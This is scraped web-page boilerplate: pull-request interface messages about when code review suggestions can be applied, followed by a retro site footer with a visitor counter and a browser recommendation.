Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
You are visitor 01402775 — GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.